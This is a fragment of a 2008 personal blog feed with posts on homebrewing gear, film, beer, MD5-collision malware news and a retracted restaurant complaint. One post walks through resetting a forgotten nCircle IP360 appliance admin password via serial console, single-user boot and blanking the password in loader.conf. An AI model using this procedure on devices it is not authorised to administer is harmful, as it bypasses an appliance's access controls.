href="http://www.flickr.com/photos/cykyc/2426786100/in/set-72157604631101125/"&gt;shop&lt;/a&gt; at home, so things like vice clamps don't exist.  I do really want to have a shop much more, now.  I used a 3/4" drill bit, a couple wood clamps, and a Dremel silicon carbine tip to get this thing going.  The drill bit helped get it near 3/4".  Since I didn't have a vice to really hold the washer, though, the bit would catch on it and torque it out of the clamps.  Eventually, with the Dremel bit, I was able to get it at 3/4".  But, to fit over the 1/2" ID brass nipple, I needed the diameter a bit more than 3/4".&lt;br /&gt;&lt;br /&gt;I nearly cut myself using the bit so inappropriately on its side to bore out the damn washer.  The Dremel battery needed to be recharged and was out of commission for a while...  So, I took a break and watched &lt;a href="http://www.netflix.com/Movie/The_King_of_Kong/70068647?trkid=226870"&gt;King of Kong&lt;/a&gt;.  When it was done, I gave it one last try w/ the Dremel and its bit.  I got so close that I had to keep on going...  And going... And going...&lt;br /&gt;&lt;br /&gt;Until...&lt;br /&gt;&lt;br /&gt;I kept on going... And going... &lt;a href="http://www.flickr.com/photos/cykyc/2425965341/in/set-72157604631101125/"&gt;And success&lt;/a&gt;!!!  The damn washer actually fit around the nipple, woo hoo!!  I let out a primal scream of success.  I had conquered the washer, yah!&lt;br /&gt;&lt;br /&gt;So, lessons of this saga:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Have the right tools on hand to do the job&lt;/li&gt;&lt;li&gt;Go online and buy a 3/4" S/S fender washer, regardless of the price&lt;/li&gt;&lt;li&gt;Enjoy it, this is for homebrew&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-8574982379042674103?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/8574982379042674103/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=8574982379042674103' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/8574982379042674103'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/8574982379042674103'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2008/04/let-me-tell-you-about-ss-fender-washers.html' title='Let Me Tell You About S/S Fender Washers...'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-7936875965080519340</id><published>2008-04-16T18:07:00.002-06:00</published><updated>2008-04-16T18:15:10.834-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='&quot;hgw xx/7&quot;'/><category scheme='http://www.blogger.com/atom/ns#' term='netflix'/><category scheme='http://www.blogger.com/atom/ns#' term='&quot;The life of others&quot;'/><category scheme='http://www.blogger.com/atom/ns#' term='stasi'/><title type='text'>The Life of Others</title><content type='html'>I just view &lt;a href="http://www.netflix.com/Movie/The_Lives_of_Others/70056425?trkid=226870"&gt;The Life of Others&lt;/a&gt; moments ago.  Others consider me a sensitive guy (which coincidentally I am gay ;-) especially my husband.  I earned this distinction since when I'm moved, I express myself in step.  Extreme happiness or sadness, I bawl like a 4 month old wanting a bottle.  I cried a lot while watching The Life of Others.&lt;br /&gt;&lt;br /&gt;If you do get this, watch it by yourself.  I guarantee you will become HGW XX/7.  As a voyeur, you will feel the struggle of beauty versus procedure.  Humanity can reside in the inhumane (or those that just happen to be good at being inhumane).&lt;br /&gt;&lt;br /&gt;Amazing.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-7936875965080519340?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/7936875965080519340/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=7936875965080519340' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/7936875965080519340'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/7936875965080519340'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2008/04/life-of-others.html' title='The Life of Others'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-6831101931240281962</id><published>2008-04-10T14:18:00.007-06:00</published><updated>2008-04-11T05:27:26.196-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='homebrew'/><category scheme='http://www.blogger.com/atom/ns#' term='beer'/><category scheme='http://www.blogger.com/atom/ns#' term='chiller'/><category scheme='http://www.blogger.com/atom/ns#' term='counter-flow'/><title type='text'>Beer Brewing, Part 2</title><content type='html'>&lt;a href="http://blog.cykyc.org/2008/04/beer-brewing-part-1.html"&gt;(Part 1 here)&lt;/a&gt;&lt;br /&gt;Going to run to &lt;a href="http://www.northernbrewer.com/"&gt;Northern Brewer,&lt;/a&gt; &lt;a href="http://www.hockenbergs.com/"&gt;Hockenbergs&lt;/a&gt;, and Home Depot for some purchases.  I got inspired to create my own &lt;a href="http://www.thegatesofdawn.ca/wordpress/homebrewing/wort_chiller/"&gt;counter-flow chiller&lt;/a&gt; from copper and garden hose.  I haven't soldered anything since my early tech school days while I interned at Comtrol.  I've never done copper, but I think it'll be pretty easy.  I'll keep a list of stuff I bought and hopefully have a good blog entry or two!&lt;br /&gt;&lt;br /&gt;K... Got back from Hockenbers and Home Depot.  I didn't make it out to Northern Brewers.  I picked up a bunch of stuff but not everything needed to convert the cooler.  Home Depot did not have any 3/4" washers near the other washer; the highest they went up to was 5/8".  I dunno if the extra 1/8" is needed or not, so I'm sticking to the specs.&lt;br /&gt;&lt;br /&gt;Oh, I am recording in detail my &lt;a href="http://spreadsheets.google.com/pub?key=pomvIqAx_WfhkmNk84tMrUg"&gt;shopping list&lt;/a&gt;.  I'm not going for the cheapest deals online.  I definitely like to walk around and buy stuff.  Hopefully, though, someone in the future will find it useful!  Also, I noticed Home Depot had their 50' copper refrigeration coil away from the straight 10' runs.  They also had 10' runs.  Reading up on the comments on the chiller, it seems that the 50' run slows things down a lot.  But, I'm guessing 10' isn't enough, either.  Oh, well, 50'  it is...&lt;br /&gt;&lt;br /&gt;... or maybe not.  I've just read up on the &lt;a href="http://forum.northernbrewer.com/viewtopic.php?p=509142&amp;amp;sid=7c8debc1651a2abcafa649c8c9eb271f"&gt;Jamil&lt;/a&gt; &lt;a href="http://www.mrmalty.com/chiller.php"&gt;whirlpool&lt;/a&gt; immersion chiller.  Hmm, more research!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-6831101931240281962?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/6831101931240281962/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=6831101931240281962' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/6831101931240281962'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/6831101931240281962'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2008/04/beer-brewing-part-2.html' title='Beer Brewing, Part 2'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-2212463307606071108</id><published>2008-04-09T14:38:00.009-06:00</published><updated>2008-04-10T14:22:54.650-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='admin'/><category scheme='http://www.blogger.com/atom/ns#' term='freebsd'/><category scheme='http://www.blogger.com/atom/ns#' term='single user mode'/><category scheme='http://www.blogger.com/atom/ns#' term='reset password'/><category scheme='http://www.blogger.com/atom/ns#' term='device profilers'/><category scheme='http://www.blogger.com/atom/ns#' term='ncircle'/><title type='text'>Howto Reset an nCircle Device Profiler admin Password</title><content type='html'>I am currently deploying &lt;a href="http://www.ncircle.com/"&gt;nCircle's&lt;/a&gt; &lt;a href="http://www.ncircle.com/index.php?s=products_ip360"&gt;IP360&lt;/a&gt; product line for a client of mine.  When I was working on the proof-of-concept, I had two device profilers (DPs) setup, using the infamous sticky note for my password (and Keychain).  Well, once the item went into test, I changed my Keychain password and changed the password for one DP.  Yesterday, I dusted off the other test DP for a local install and, um, yeah.  I had no idea what the password was.&lt;br /&gt;&lt;br /&gt;I am under a non-disclosure as it relates to nCircle's customer support knowledge base, so I cannot describe certain stuff.  But, since none of this was in the knowledge base when I looked, I thought it would be good to document the procedure for others.&lt;br /&gt;&lt;br /&gt;What you need to continue:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;An nCircle DP ;-)&lt;/li&gt;&lt;li&gt;Knowledge-base access to &lt;a href="http://www.ncircle.com/index.php?s=csupport_login"&gt;nCircle's Support site&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Ability to connect to the serial port (I use on my MacBook Pro the &lt;a href="http://www.google.com/products?q=GUC232A&amp;amp;ie=UTF-8&amp;amp;oe=utf-8&amp;amp;rls=org.mozilla:en-US:official&amp;amp;client=firefox-a&amp;amp;um=1&amp;amp;sa=N&amp;amp;tab=wf"&gt;GUC232A&lt;/a&gt; USB adapter and &lt;a href="http://www.macports.org/"&gt;MacPorts&lt;/a&gt; &lt;a href="http://trac.macports.org/projects/macports/browser/trunk/dports/comms/minicom/Portfile"&gt;minicom&lt;/a&gt; port)&lt;/li&gt;&lt;/ol&gt;Step 1: Setup your serial port connection from your computer to the DP (not covered)&lt;br /&gt;Step 2: Interrupt the loader to boot into single user mode&lt;br /&gt;Step 3: Enter the root password and select the Bourne shell&lt;br /&gt;Step 4: Start the rc script&lt;br /&gt;Step 5: Mount / read-write&lt;br /&gt;Step 6: Set your TERM variable and Edit /loader/loader.conf&lt;br /&gt;Step 7: Blank out the password field&lt;br /&gt;Step 8: Mount / read-only and reboot&lt;br /&gt;Step 9: Done?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 2: Interrupt the loader to boot into single user mode&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;During the initial boot, you should see something like this (especially if you're using minicom):&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;&lt;br /&gt;Welcome to minicom 2.1&lt;br /&gt;&lt;br /&gt;OPTIONS: History Buffer, F-key Macros, Search History Buffer, I18n&lt;br /&gt;Compiled on Dec 28 2007, 09:43:51.&lt;br /&gt;&lt;br /&gt;Press CTRL-A Z for help on special keys&lt;br /&gt;&lt;br /&gt;/boot/kernel/kernel text=0x288dcc data=0x3cd84+0x26f64 syms=[0x4+0x3e1b0+0x4+0]/&lt;br /&gt;-                                                                           &lt;br /&gt;Hit [Enter] to boot immediately, or any other key for command prompt.       &lt;br /&gt;Booting [/boot/kernel/kernel] in 9 seconds...&lt;br /&gt;&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;At this point, hit any key other than Enter or Space.  Then you should see this:&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;                                                                            &lt;br /&gt;Type '?' for a list of commands, 'help' for more detailed help.             &lt;br /&gt;OK&lt;br /&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;From here, enter `boot -s` and hit enter.  This will start the boot in single user mode.  You should see something like this:&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;&lt;br /&gt;OK boot -s                                                                   &lt;br /&gt;GDB: no debug ports present                                                  &lt;br /&gt;KDB: debugger backends: ddb                                                  &lt;br /&gt;KDB: current backend: ddb                                                    &lt;br /&gt;Copyright (c) 1992-2005 The FreeBSD Project.                                 &lt;br /&gt;Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994     &lt;br /&gt;      The Regents of the University of California. All rights reserved.    &lt;br /&gt;FreeBSD 6.0-RELEASE #0: Wed Jun 21 20:29:12 PDT 2006                         &lt;br /&gt;  root@build.eng.ncircle.com:/home/tnguyen/autobuild/appliance/flash/osdir/srE&lt;br /&gt;ACPI APIC Table: &lt;ptltd&gt;                                     &lt;br /&gt;Timecounter "i8254" frequency 1193182 Hz quality 0         &lt;br /&gt;...&lt;br /&gt;&lt;/ptltd&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 3: Enter the root password and select the Bourne shell&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Eventually, the kernel will load and you will be ready to start single user mode.  nCircle has applied a root password to the system, so you'll need that before continuing.&lt;/li&gt;&lt;li&gt;Log into the support site and search (Find Solution) in the knowledge base for "shell".  You should see a suggestion called "HowTo: Running a remote shell script via the IP360 GUI".  Open that suggestion and find out the root password :-)&lt;/li&gt;&lt;li&gt;Now, the system should be asking you for the root password.  Enter the root password and when prompted for a shell, enter /bin/sh.  If you were successful, you should see something similar to below.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;&lt;br /&gt;Trying to mount root from ufs:/dev/ad0s1a                                    &lt;br /&gt;Enter root password, or ^D to go multi-user                                  &lt;br /&gt;Password:                                                                    &lt;br /&gt;Enter full pathname of shell or RETURN for /bin/sh: /bin/sh                  &lt;br /&gt;#&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 4: Start the rc script&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;This is easy.  Just type `/bin/sh /etc/rc` and you should see something similar to below:&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;&lt;br /&gt;# /bin/sh /etc/rc                                                            &lt;br /&gt;sysctl: oid 'vm.swap_enabled' is read only                                   &lt;br /&gt;sysctl: oid 'vm.swap_idle_enabled' is read only                              &lt;br /&gt;net.inet.tcp.keepidle: 7200000 -&gt; 60000                                      &lt;br /&gt;net.inet.tcp.keepintvl: 75000 -&gt; 60000                                       &lt;br /&gt;/dev/ad0s1a: 770 files, 10054 used, 20581 free (61 frags, 2565 blocks, 0.2% fra)                              &lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 5: Mount / read-write&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Easy step, enter `/sbin/mount -w /`.  There will be no output on a successful mount&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Step 6: Set your TERM variable and Edit /loader/loader.conf&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Enter `export TERM=vt100` to allow vi to know what's going on.  I'm too lazy to write a sed one liner to do this.  Feel free to leave one in the comments&lt;/li&gt;&lt;li&gt;Then, enter `/usr/bin/vi /loader/loader.conf` to open vi.  If you have no idea how to use vi, &lt;a href="http://www.urbandictionary.com/define.php?term=gimf"&gt;GIMF&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Step 7: Blank out the password field&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Find the "password=craphere" field&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Remove the craphere stuff, but leave the equal sign&lt;/li&gt;&lt;li&gt;Save and exit vi&lt;/li&gt;&lt;li&gt;(No, I don't know what they're using for encryption, but it does smell)&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Step 8: Mount / read-only and reboot&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Run `/sbin/mount -r /`&lt;/li&gt;&lt;li&gt;Run `/sbin/reboot`&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Step 9: Done?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If everything worked, you should be at a "hostname&gt;" prompt.  If not, well, contact nCircle and don't tell them you did this! :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-2212463307606071108?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/2212463307606071108/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=2212463307606071108' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/2212463307606071108'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/2212463307606071108'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2008/04/howto-reset-ncircle-device-profiler.html' title='Howto Reset an nCircle Device Profiler admin Password'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-4104459648474865323</id><published>2008-04-08T17:41:00.005-06:00</published><updated>2008-04-09T07:07:55.615-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='homebrew'/><category scheme='http://www.blogger.com/atom/ns#' term='beer'/><category scheme='http://www.blogger.com/atom/ns#' term='tun'/><category scheme='http://www.blogger.com/atom/ns#' term='all grain'/><category scheme='http://www.blogger.com/atom/ns#' term='mash'/><title type='text'>Beer Brewing, Part 1</title><content type='html'>So, I'm diving into home brewing.  I found a lot of good information in the book "The New Complete Joy of Home Brewing" by Charlie Papazian, the website &lt;a href="http://www.homebrewtalk.com/"&gt;HomeBrewTalk&lt;/a&gt;, and also a &lt;a href="http://youtube.com/user/donosborn"&gt;couple&lt;/a&gt; &lt;a href="http://youtube.com/user/chrisknight000"&gt;YouTube&lt;/a&gt; &lt;a href="http://youtube.com/user/JoePolvino"&gt;users&lt;/a&gt;.  I've decided to start out with all grain brewing, using an infusion mash method and batch sparging.  So, I'll be documenting the process here, whoop!&lt;br /&gt;&lt;br /&gt;The first step will be &lt;a href="http://www.homebrewtalk.com/wiki/index.php/Converting_a_cooler_to_a_mash_tun"&gt;converting&lt;/a&gt; my Coleman 48qt cooler into a mash-lauter tun (MLT).  From there, it will be shopping around to get all the equipment and then eventually product.  I'm going to attempt to stick to water, barley, hops, and yeast-only brewing and also just using gyle for my &lt;a href="http://www.deadyeast.com/yeastmeister.php"&gt;kräusening&lt;/a&gt; or to Spiesegabe.  For some reason this overall approach seems like a cool challenge, but more so, an authentic way to brew some fine beer.  Well, we'll see where it goes!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-4104459648474865323?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/4104459648474865323/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=4104459648474865323' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/4104459648474865323'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/4104459648474865323'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2008/04/beer-brewing-part-1.html' title='Beer Brewing, Part 1'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-7429636119597915826</id><published>2008-01-04T18:35:00.000-06:00</published><updated>2008-01-04T18:47:05.637-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware symantec &quot;the reg&quot; md5 checksum hash'/><title type='text'>Malware and MD5, Finally a Possible Attack</title><content type='html'>Creating MD5 collisions has been possible using &lt;a href="http://www.infosec.sdu.edu.cn/paper/md5-attack.pdf"&gt;arbitrary values&lt;/a&gt;.  So, one could come up w/ a specific number and create another specific number, albeit slightly different.  Both numbers, when used as an input to an MD5 hash program will report the same hash.  The only practical attack I was aware of was using some type of active code to check which string was &lt;a href="http://www.cits.rub.de/MD5Collisions/"&gt;present in a file&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;But, some smart cookies thought up of a better scheme that has an actual wider range of use.  I didn't see the original thread right away, but here's a couple links to it:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.theregister.co.uk/2008/01/04/code_camouflage/"&gt;The Reg&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.symantec.com/enterprise/security_response/weblog/2008/01/highspeed_collisions.html"&gt;Symantec&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Interesting attack.  Still, no pre-image.  And, this won't affect servers as much as it will affect desktop / laptop users.  But, heck, it's cool nonetheless.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-7429636119597915826?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/7429636119597915826/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=7429636119597915826' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/7429636119597915826'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/7429636119597915826'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2008/01/malware-and-md5-finally-possible-attack.html' title='Malware and MD5, Finally a Possible Attack'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-1097529882921322639</id><published>2008-01-03T12:42:00.000-06:00</published><updated>2008-01-03T12:45:09.042-06:00</updated><title type='text'>Favorite Recent Beers</title><content type='html'>Trappists:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Orval: yummy but small&lt;/li&gt;&lt;li&gt;Koningshoeven Tripel&lt;/li&gt;&lt;li&gt;Tripel Karmeliet&lt;/li&gt;&lt;li&gt;Koningshoeven Quadrupel: Darker, stronger and more spice flavors on the end&lt;/li&gt;&lt;/ul&gt;Non-Trappists (Abbey Ales)&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Delirium Tremens&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-1097529882921322639?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/1097529882921322639/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=1097529882921322639' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/1097529882921322639'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/1097529882921322639'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2008/01/favorite-recent-beers.html' title='Favorite Recent Beers'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-3484040196830461626</id><published>2008-01-02T18:53:00.001-06:00</published><updated>2008-01-04T12:10:58.572-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='credit card fraud tips restaurants &quot;calhoun grill&quot;'/><title type='text'>Bad Servers and Credit Card Fraud</title><content type='html'>So, I was at the New Calhoun Grill (Lake St. &amp;amp; Excelsior in So. Minneapolis, (612) 455-1250) New Year's Day for a late brunch.  The wait wasn't bad, compared to Uptown Bar &amp;amp; Grill, from where we left seeing only a big wait.  We were seated at 12:16 PM by a server named Adam at Table 21.  (Note me putting down the time, bad sign.)  My hubby ordered a strawberry malt, which can be annoying if you've ever served (I have), and some hot tea.  I just had water.  Twenty minutes later (I shit you not), we had the malt and the tea.  The tea took over 10 minutes (hot water from the coffee machine, tea bags, cup).  At that time (20 minutes into it), the server took our food order.  10 minutes later, the food was up.  So, the cooks seemed to have their shit together, but not the server.&lt;br /&gt;&lt;br /&gt;We finished in about 15 minutes or so, and had to wait another 15 minutes for the bill.  By this time, though, the server already cleared all the plates.  He didn't ask for a hot water refill.  And, we were very much done.  One hour later, we got out of there.  Our meal was a #3 (eggs, toast, bacon, hashbrowns), a side of toast, and a side of sausage.  Pretty freaking bad service.&lt;br /&gt;.&lt;br /&gt;I was gonna tip nothing, but my better half, being in the service industry too, understood the guy lived off of tips.  He graciously tipped him $1 and so did I, for a $23.54 bill (tax included).  It was a tip with a purpose.&lt;br /&gt;&lt;br /&gt;So what did the asswipe do? Expecting shenanigans, I kept my receipt and checked my bank balance today.  The fuck went ahead and modified the tip statement, adding another $3.00 to the total.&lt;br /&gt;&lt;br /&gt;I'm pissed, because some lame server now got really lame by committing fraud.  This is where emotion enters into law.  I'm emotionally pissed, but the bank is going to correct it, so no biggie.  I'm gonna talk to the manager of the restaurant and raise a stink, though.  The guy's a thief.  And, you can only trust a thief to steal from you...&lt;br /&gt;&lt;br /&gt;&lt;3&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;UPDATE:&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Well, I spoke too soon and will eat crow.  The server did a pre-auth, it seems, on the bill. Once it cleared the bank, the amount was correct.  So, I rescind my former comments about Adam, his integrity, and any statements negative against the New Calhoun Grill.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-3484040196830461626?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/3484040196830461626/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=3484040196830461626' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3484040196830461626'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3484040196830461626'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2008/01/bad-servers-and-credit-card-fraud.html' title='Bad Servers and Credit Card Fraud'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-571705677863123582</id><published>2007-05-26T09:15:00.001-06:00</published><updated>2007-05-26T09:15:34.195-06:00</updated><title type='text'>Nice Vid: Stop the Clash of Civilizations</title><content type='html'>&lt;object width="425" height="350"&gt;&lt;param name="movie" value="http://www.youtube.com/v/WWyJJQbFago"&gt;&lt;/param&gt;&lt;param name="wmode" value="transparent"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/WWyJJQbFago" type="application/x-shockwave-flash" wmode="transparent" width="425" height="350"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-571705677863123582?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/571705677863123582/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=571705677863123582' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/571705677863123582'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/571705677863123582'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2007/05/nice-vid-stop-clash-of-civilizations.html' title='Nice Vid: Stop the Clash of Civilizations'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 